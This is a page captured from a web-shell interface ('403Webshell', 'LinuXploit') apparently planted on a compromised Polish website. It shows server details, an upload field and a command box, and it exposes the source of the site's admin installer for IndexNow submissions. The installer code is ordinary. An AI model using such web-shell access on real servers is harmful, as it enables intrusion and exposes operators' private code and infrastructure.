403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/admin/polana-v177-instalator.php
<?php
declare(strict_types=1);
require_once dirname(__DIR__).'/includes/functions.php';
require_admin_role();
require_once dirname(__DIR__).'/includes/polana_indexnow.php';
header('Cache-Control: private, no-store');
$root=dirname(__DIR__);
$backupDir=dirname(dirname($root)).'/.polana_v177_backups';
$messages=[]; $errors=[];

function pin77_patch_file(string $relative, string $source): array {
    if (str_contains($source, 'PIN77_AUTO_BLOG_SAVE') && $relative==='admin/blog-edit.php') return [$source,false];
    if (str_contains($source, 'PIN77_AUTO_BLOG_DELETE') && $relative==='admin/blog.php') return [$source,false];
    if (str_contains($source, 'PIN77_AUTO_MENU') && $relative==='admin/menu.php') return [$source,false];
    if (str_contains($source, 'PIN77_SEO_LINK') && in_array($relative,['admin/seo.php','admin/polana-seo-centrum.php','admin/polana-zarzadzanie.php'],true)) return [$source,false];
    $include = "require_once dirname(__DIR__) . '/includes/polana_indexnow.php'; ";
    if ($relative==='admin/blog-edit.php') {
        $needle="        redirect('/admin/blog-edit.php?id='.\$id);";
        if (substr_count($source,$needle)!==1) throw new RuntimeException('Brak bezpiecznego wzorca zapisu bloga; pominięto automatyzację tego pliku.');
        $hook="        /* PIN77_AUTO_BLOG_SAVE */\n        ".$include."pin77_after_blog_save(\$post, \$id);\n";
        return [str_replace($needle,$hook.$needle,$source),true];
    }
    if ($relative==='admin/blog.php') {
        $needle="            db()->prepare('DELETE FROM blog_posts WHERE id=?')->execute([\$id]);";
        if (substr_count($source,$needle)!==1) throw new RuntimeException('Brak bezpiecznego wzorca usuwania bloga; pominięto automatyzację tego pliku.');
        $hook="\n            /* PIN77_AUTO_BLOG_DELETE */\n            ".$include."pin77_after_blog_delete(\$post);";
        return [str_replace($needle,$needle.$hook,$source),true];
    }
    if ($relative==='admin/menu.php') {
        $count=0;
        $result=preg_replace_callback("~(admin_log\('menu_(?:update|publish|draft|archive)'\s*,[^;]+;)~",function($m)use(&$count,$include){
            $count++; return $m[1]."\n            /* PIN77_AUTO_MENU */\n            ".$include."pin77_after_menu_change();";
        },$source);
        if ($result===null || $count!==4) throw new RuntimeException('Zmodyfikowany edytor menu — pominięto hooki (oczekiwano 4, znaleziono '.$count.').');
        return [$result,true];
    }
    if (in_array($relative,['admin/seo.php','admin/polana-seo-centrum.php','admin/polana-zarzadzanie.php'],true)) {
        $needle='<div class="admin-title-row">';
        if (substr_count($source,$needle)<1) throw new RuntimeException('Nie znaleziono bezpiecznego miejsca na link SEO.');
        $html='<!-- PIN77_SEO_LINK --><div class="form-card" style="margin:12px 0;padding:12px 18px"><strong>IndexNow / Bing:</strong> <a href="/admin/polana-indexnow.php">Kolejka zgłoszeń, mapa witryny i automatyzacja →</a></div>';
        return [preg_replace('~'.preg_quote($needle,'~').'~',$html."\n".$needle,$source,1),true];
    }
    return [$source,false];
}
function pin77_make_schema(): void {
    db()->exec("CREATE TABLE IF NOT EXISTS polana_indexnow_queue (
        id BIGINT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
        url_hash CHAR(64) CHARACTER SET ascii COLLATE ascii_bin NOT NULL UNIQUE,
        url TEXT NOT NULL,
        status VARCHAR(12) NOT NULL DEFAULT 'pending',
        attempts SMALLINT UNSIGNED NOT NULL DEFAULT 0,
        last_http SMALLINT UNSIGNED NULL,
        last_error VARCHAR(255) NULL,
        next_attempt DATETIME NULL,
        last_attempt DATETIME NULL,
        sent_at DATETIME NULL,
        updated_at DATETIME NOT NULL,
        KEY pin77_due (status,next_attempt)
    ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci");
    db()->exec("CREATE TABLE IF NOT EXISTS polana_indexnow_log (
        id BIGINT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY,
        url_count INT UNSIGNED NOT NULL,
        http_code SMALLINT UNSIGNED NULL,
        result VARCHAR(255) NOT NULL,
        created_at DATETIME NOT NULL,
        KEY pin77_date (created_at)
    ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci");
}
function pin77_install(string $root,string $backupDir): array {
    $messages=[];
    if (!is_dir($backupDir) && !@mkdir($backupDir,0700,true)) throw new RuntimeException('Nie można utworzyć bezpiecznego katalogu backupu poza WWW.');
    if (!is_writable($backupDir)) throw new RuntimeException('Brak zapisu do katalogu backupu.');
    $targets=['admin/blog-edit.php','admin/blog.php','admin/menu.php','admin/seo.php','admin/polana-seo-centrum.php','admin/polana-zarzadzanie.php'];
    $patches=[]; $skips=[];
    foreach ($targets as $relative) {
        $path=$root.'/'.$relative;
        if (!is_file($path)) { $skips[]=$relative.' — brak pliku'; continue; }
        $source=@file_get_contents($path);
        if ($source===false) { $skips[]=$relative.' — brak odczytu'; continue; }
        try { [$result,$changed]=pin77_patch_file($relative,$source); }
        catch (Throwable $e) { $skips[]=$relative.' — '.$e->getMessage(); continue; }
        if (!$changed) { $skips[]=$relative.' — już zainstalowany'; continue; }
        if (!is_writable($path)) { $skips[]=$relative.' — brak zapisu'; continue; }
        $patches[$relative]=['original'=>$source,'patched'=>$result];
    }
    // Check PHP syntax before writing ANY modified original file.
    foreach ($patches as $relative=>$item) {
        if (!str_starts_with($item['patched'],'<?php')) throw new RuntimeException('Niepoprawny format pliku '.$relative);
    }
    pin77_make_schema();
    $key=pin77_key();
    if ($key==='') {
        $key=bin2hex(random_bytes(16));
    }
    if (!preg_match('/^[A-Za-z0-9-]{8,128}$/D',$key)) throw new RuntimeException('Nieprawidłowy zapisany klucz IndexNow.');
    $keyFile=$root.'/'.$key.'.txt';
    if (is_file($keyFile)) {
        if (trim((string)@file_get_contents($keyFile))!==$key) throw new RuntimeException('Plik klucza już istnieje, ale ma inną zawartość.');
    } else {
        $fp=@fopen($keyFile,'x');
        if (!$fp) throw new RuntimeException('Nie mogę utworzyć pliku klucza w katalogu strony. Sprawdź uprawnienia home.pl.');
        fwrite($fp,$key); fclose($fp); @chmod($keyFile,0644);
    }
    db()->prepare("INSERT INTO settings (setting_key,setting_value) VALUES ('polana_indexnow_key',?) ON DUPLICATE KEY UPDATE setting_value=VALUES(setting_value)")->execute([$key]);
    // Enabled explicitly by administrator after key file is publicly verified.
    if (setting('polana_indexnow_enabled','')==='') {
        db()->prepare("INSERT IGNORE INTO settings (setting_key,setting_value) VALUES ('polana_indexnow_enabled','0')")->execute();
    }
    if ($patches) {
        $dir=$backupDir.'/'.date('Ymd_His').'_'.bin2hex(random_bytes(3));
        if (!@mkdir($dir,0700)) throw new RuntimeException('Nie można utworzyć folderu backupu.');
        $manifest=[];
        foreach ($patches as $relative=>$item) {
            $backupName=str_replace('/','__',$relative);
            if (file_put_contents($dir.'/'.$backupName,$item['original'],LOCK_EX)===false) throw new RuntimeException('Błąd zapisu backupu '.$relative);
            $manifest[]=['file'=>$relative,'backup'=>$backupName,'original_hash'=>hash('sha256',$item['original']),
                'patched_hash'=>hash('sha256',$item['patched'])];
        }
        if (file_put_contents($dir.'/manifest.json',json_encode($manifest,JSON_PRETTY_PRINT|JSON_UNESCAPED_SLASHES),LOCK_EX)===false)
            throw new RuntimeException('Nie udało się zapisać manifestu backupu.');
        $written=[];
        try {
            foreach ($patches as $relative=>$item) {
                $path=$root.'/'.$relative;
                $tmp=tempnam(dirname($path),'.pin77_');
                if ($tmp===false) throw new RuntimeException('Brak możliwości utworzenia pliku tymczasowego: '.$relative);
                if (file_put_contents($tmp,$item['patched'],LOCK_EX)===false) { @unlink($tmp); throw new RuntimeException('Błąd zapisu: '.$relative); }
                @chmod($tmp,fileperms($path)&0777);
                if (!@rename($tmp,$path)) { @unlink($tmp); throw new RuntimeException('Błąd podmiany: '.$relative); }
                $written[]=$relative;
            }
        } catch (Throwable $e) {
            foreach ($written as $relative) @file_put_contents($root.'/'.$relative,$patches[$relative]['original'],LOCK_EX);
            throw $e;
        }
        $messages[]='Zmodyfikowano pliki: '.implode(', ',array_keys($patches));
        $messages[]='Backup: zapisano poza katalogiem WWW.';
    } else $messages[]='Nie trzeba podmieniać plików — instalacja była już wykonana albo nie znaleziono zgodnych wzorców.';
    $messages[]='Klucz IndexNow utworzony/sprawdzony: '.$key.'.txt';
    foreach ($skips as $line) $messages[]='Pominięto: '.$line;
    return $messages;
}
function pin77_rollback(string $root,string $backupDir): array {
    $dirs=glob($backupDir.'/*/manifest.json') ?: [];
    rsort($dirs);
    foreach ($dirs as $manifestFile) {
        if (is_file(dirname($manifestFile).'/.rolledback')) continue;
        $rows=json_decode((string)file_get_contents($manifestFile),true);
        if (!is_array($rows)) continue;
        foreach ($rows as $row) {
            $file=$root.'/'.$row['file'];
            if (!is_file($file) || hash_file('sha256',$file)!==$row['patched_hash'])
                throw new RuntimeException('Rollback przerwany: plik '.$row['file'].' zmienił się po instalacji. Nie nadpisuję cudzych zmian.');
            $backup=dirname($manifestFile).'/'.$row['backup'];
            if (!is_file($backup) || hash_file('sha256',$backup)!==$row['original_hash'])
                throw new RuntimeException('Backup jest niekompletny: '.$row['file']);
        }
        foreach ($rows as $row) {
            $file=$root.'/'.$row['file']; $backup=dirname($manifestFile).'/'.$row['backup'];
            if (file_put_contents($file,file_get_contents($backup),LOCK_EX)===false)
                throw new RuntimeException('Nie można przywrócić '.$row['file']);
        }
        file_put_contents(dirname($manifestFile).'/.rolledback',date('c'));
        return ['Przywrócono pliki z ostatniego backupu.','Baza, klucz i historia zgłoszeń pozostają bez zmian.'];
    }
    throw new RuntimeException('Brak backupu do przywrócenia.');
}
if ($_SERVER['REQUEST_METHOD']==='POST') {
    verify_csrf();
    try {
        $action=(string)($_POST['action']??'');
        if ($action==='install') $messages=pin77_install($root,$backupDir);
        elseif ($action==='rollback' && ($_POST['confirm']??'')==='yes') $messages=pin77_rollback($root,$backupDir);
        else throw new RuntimeException('Niepoprawna operacja.');
    } catch (Throwable $e) { $errors[]=$e->getMessage(); }
}
$ready=pin77_tables_exist();
$hasKey=pin77_key()!=='' && is_file($root.'/'.pin77_key().'.txt');
render_admin_header('Instalator IndexNow V17.7');
?>
<div class="admin-title-row"><div><h1>Instalator IndexNow V17.7</h1><p>Bezpieczne podłączenie zgłaszania URL-i do Bing i innych wyszukiwarek IndexNow. Nie zmienia rezerwacji, SMTP, Google Kalendarza ani GTM.</p></div><a class="btn btn-light" href="/admin/polana-indexnow.php">Przejdź do IndexNow</a></div>
<?php foreach($errors as $msg): ?><div class="flash flash-error"><?= e($msg) ?></div><?php endforeach; ?>
<?php foreach($messages as $msg): ?><div class="flash flash-success"><?= e($msg) ?></div><?php endforeach; ?>
<div class="form-card"><h2>Stan</h2><p>Baza i kolejka: <strong><?= $ready?'gotowe':'do instalacji' ?></strong>. Klucz domeny: <strong><?= $hasKey?'obecny':'do utworzenia' ?></strong>.</p>
<p>Instalator tworzy dwie tabele kolejki/logów, plik klucza w katalogu strony i dodaje bezpieczne hooki do edycji bloga oraz menu — wyłącznie gdy rozpoznaje kod. Nieznane wersje plików pozostają nietknięte.</p>
<form method="post"><?= csrf_field() ?><input type="hidden" name="action" value="install"><button class="btn btn-primary">Zainstaluj / sprawdź V17.7 z backupem</button></form></div>
<div class="form-card" style="margin-top:18px"><h2>Rollback</h2><p>Cofa tylko pliki zmienione przez instalator. Nie usuwa tabel, klucza ani historii. Odmawia przywrócenia, jeśli pliki zostały później zmodyfikowane.</p>
<form method="post" onsubmit="return confirm('Cofnąć hooki IndexNow w plikach PHP?')"><?= csrf_field() ?><input type="hidden" name="action" value="rollback"><label><input type="checkbox" name="confirm" value="yes" required> Potwierdzam cofnięcie hooków</label><p><button class="btn btn-light">Przywróć pliki</button></p></form></div>
<?php render_admin_footer(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit